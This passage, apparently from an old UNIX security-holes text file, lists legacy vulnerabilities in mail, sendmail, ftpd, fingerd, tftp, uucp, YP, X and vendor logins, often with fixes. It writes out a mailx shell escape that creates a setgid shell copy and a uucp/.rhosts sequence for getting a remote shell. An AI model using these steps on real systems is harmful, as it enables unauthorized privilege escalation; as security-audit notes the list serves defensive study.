(or any shell meta-charaters). This allows setuid root programs that
|
|
popen to be spoofed.
|
|
|
|
2. Never allow a setuid to root program to send a mail message that the user
|
|
creates to either the Berkeley mailer or mailx. All a user has to do
|
|
to break root is to send a line such as:
|
|
|
|
~!cp /bin/sh /tmp/sh; chmod 2555 /tmp/sh
|
|
|
|
That is that Berkeley mail(1) and Berkeley mailx(1) BOTH allow this shell
|
|
escape to be executed if the line starts in column one of stdout while
|
|
entering the message text.
|
|
|
|
3. Most security holes in UNIX are related to incorrect setting of directory
|
|
and file permissions or race conditions in the kernel that allow setuid
|
|
programs to be exploited. All non-standard setuid programs should be
|
|
examined.
|
|
|
|
4. Many systems can be compromised with NFS/RPC. A skilled RPC writer can
|
|
break security relatively easily. MIT's PROJECT ATHENA came up with
|
|
Kerberos to address these problems, networks are usually very insecure.
|
|
|
|
5. The mount command should not be executeable by ordinary users. A setuid
|
|
program on a mountable disk is NOT TO BE TRUSTED.
|
|
|
|
6. Systems that allow read-only mounting of foriegn disk are a security
|
|
hole. Setuid programs are normally honored. This allows a person who
|
|
has root access on a foriegn machine to break it on another.
|
|
|
|
7. Expreserve can be a huge hole (see the following)
|
|
|
|
/dev/fb
|
|
the frame buffer devices on at least suns are world
|
|
readable/writeable, which is at best annoying (when
|
|
someone runs something strange on you) and at worst
|
|
insecure (since someone can take a snapshot of your screen
|
|
via screenload or whatnot)
|
|
|
|
/dev/*st*, *mt*, etc (tape devices)
|
|
generally world readable/writeable, bad since others can
|
|
nuke your tapes, read your backups, etc.
|
|
|
|
chfn, chsh
|
|
used to create a root account
|
|
|
|
core
|
|
will system dump a setgid core image?
|
|
|
|
domain name system
|
|
a sysadmin running the soa for a domain somewhere can
|
|
create a bugs reverse address mapping table for one of his
|
|
hosts that causes its IP address to have the domain name
|
|
of a machine that my host has in its hosts.equiv file. if
|
|
i'm using the usual version of 'istrusted' (I think that's
|
|
the routine's name), the address lookup reveals the name
|
|
of the host to be one that my host trusts, and this other
|
|
sysadmin can rlogin into my machine or rsh or whatnot at
|
|
will.
|
|
|
|
fchown
|
|
test for bad group test
|
|
|
|
ftruncate
|
|
can be used to change major/minor numbers on devices
|
|
|
|
fingerd
|
|
hard .plan links - reading unreadable files readable by
|
|
user(fingerd)
|
|
|
|
setuid, .plan links
|
|
|
|
running as root
|
|
(fingerd_test.sh)
|
|
|
|
buffer overrun
|
|
|
|
file mod test.
|
|
test of file does not loose the setuid bit when modified
|
|
|
|
|
|
ftp
|
|
ftpd
|
|
static passwd struct overwrite
|
|
|
|
4.2 based bug, userid not reset properly, (after logging
|
|
in enter comment "user root" and you are, last seen
|
|
onder SunOS 3.3?).
|
|
|
|
overwrite stack somehow?
|
|
|
|
hosts.equiv
|
|
default + entry
|
|
|
|
istrusted routine - easy to spoof by bad SOA at remote
|
|
site with hacked reverse address map.
|
|
|
|
lock
|
|
4.1bsd version had the password "hasta la vista" as a
|
|
builtin trapdoor. (found in ultrix)
|
|
|
|
lost+found, fsck
|
|
lost+found should be mode 700, else others might see
|
|
private files.
|
|
|
|
lpd
|
|
its possible to ovberwrite files with root authority with
|
|
user level access locally or remotely if you have local
|
|
root access
|
|
|
|
lpr
|
|
lpr -r access testing problem
|
|
|
|
lprm
|
|
trusts utmp
|
|
|
|
passwd
|
|
fgets use allows long entries which will be mangled into
|
|
::0:0::: entries
|
|
|
|
also allows:
|
|
fred:...:...:...:Fred ....Flintstone::/bin/sh =>
|
|
fred:...:...:...:Fred.....
|
|
Flintstone::/bin/sh
|
|
which is a root entry with no password!
|
|
|
|
fix - should skip to eol if it didn't read whole entry,
|
|
should enforce buffer limits on text in file, don't use
|
|
atoi (since atoi(/bin/sh) is 0).
|
|
|
|
portmap
|
|
allows other net entities to make bindings - may not be a
|
|
"security hole", can lead to denial of service.
|
|
|
|
rcp
|
|
nobody problem
|
|
|
|
rexd
|
|
existence
|
|
|
|
rwall,comsat
|
|
running as root, utmp world writeable, writes to files as
|
|
well as devices in utmp dev fields.
|
|
|
|
|
|
rdist - buffer overflow
|
|
|
|
selection_svc
|
|
allowed remote access to files
|
|
|
|
sendmail
|
|
debug option
|
|
|
|
wizard mode
|
|
|
|
TURN command
|
|
allows mail to be stolen
|
|
|
|
decode mail alias - anyone can send mail to decode, write
|
|
to any file onwed by daemon, if they can connect to
|
|
sendmail daemon, can write to any file owned by any user.
|
|
|
|
|
|
overflow input buffer
|
|
cause the sendmail deamon to lock up
|
|
|
|
overwrite files
|
|
sendmail can be "tricked" into delivering mail
|
|
into any file but those own my root.
|
|
|
|
-oQ (different Q)
|
|
fixed in newer versions
|
|
|
|
mqueue must not be mode 777!
|
|
|
|
what uid does |program run with?
|
|
|
|
sendmail -bt -C/usr/spool/mail/user - in old versions,
|
|
allows you to see all lines of the file.
|
|
|
|
setuid bit handling
|
|
setuid/setgid bit should be dropped if a file is modified
|
|
|
|
fix: kernel changes
|
|
|
|
setuid scripts
|
|
there are several problems with setuid scripts. is it
|
|
worth writing tests for these? some systems might have
|
|
fixed some of the holes - does anyone know how one fixes
|
|
these problems in a proactive fashion?
|
|
|
|
sh
|
|
IFS hole (used with vi, anything else?)
|
|
|
|
su
|
|
overwrite stack somehow?
|
|
|
|
tcp/ip
|
|
sequence number prediction makes host spoofing easier
|
|
|
|
source routing make host spoofing easier
|
|
|
|
rip allows one to capture traffic more easily
|
|
|
|
various icmp attacks possible
|
|
|
|
(I suspect a traceroute'd kernel will allow one to easily
|
|
dump packets onto the ethernet)
|
|
|
|
tftp
|
|
allows one to grab random files (eg, /etc/passwd).
|
|
fix - should do a chroot
|
|
|
|
allows puts as well as gets, no chroot
|
|
|
|
fix - don't run as root, use chroot, no puts, only if boot
|
|
server.
|
|
|
|
utmp
|
|
check to see if world writeable (if so, the data can't be
|
|
trusted, although some programs are written as though they
|
|
trust the data (comsat, rwalld)).
|
|
|
|
uucp
|
|
check if valid uucp accounts are in the /etc/ftpusers. If
|
|
the shell is uucico and passwd is valid make sure it is
|
|
listed in ftpusers.
|
|
|
|
check to see that uucp accounts have shell: if left off,
|
|
folks can do:
|
|
|
|
cat >x
|
|
myhost myname
|
|
^D
|
|
uucp x ~uucp/.rhosts
|
|
rsh myhost -l uucp sh -i
|
|
|
|
HDB nostrangers shell escape
|
|
|
|
HDB changing the owner of set uid/gid files
|
|
|
|
HDB meta escapes on the X command line
|
|
|
|
HDB ; breaks on the X line
|
|
|
|
uudecode
|
|
if it is setuid, some versions will create setuid files
|
|
|
|
|
|
ypbind
|
|
accepts ypset from anyone (can create own ypserv and data,
|
|
and ypset to it...)
|
|
|
|
ypserv spoofing
|
|
send lots of bogus replies to a request for root's passwd
|
|
entry, while doing something that would generate such a
|
|
request [I'm pretty sure that this is possible, but
|
|
haven't tried it.]
|
|
|
|
AIX
|
|
* password means use root's password?
|
|
|
|
AIX 2.2.1
|
|
shadow password file (/etc/security/passwd) world
|
|
writeable
|
|
|
|
fix - chmod 600...
|
|
|
|
386i login
|
|
fix - nuke logintool, hack on login with adb, chmod 2750
|
|
|
|
ultrix 3.0 login
|
|
login -P progname allows one to run random programs as root.
|
|
fix - chmod 2750.
|
|
|
|
xhost:
|
|
if access access control is disabled any one can connect to
|
|
a X display it is possible and create (forge) and/or
|
|
intercept keystrokes.
|
|
|
|
|
|
========EOF==========
|
|
|
|
# |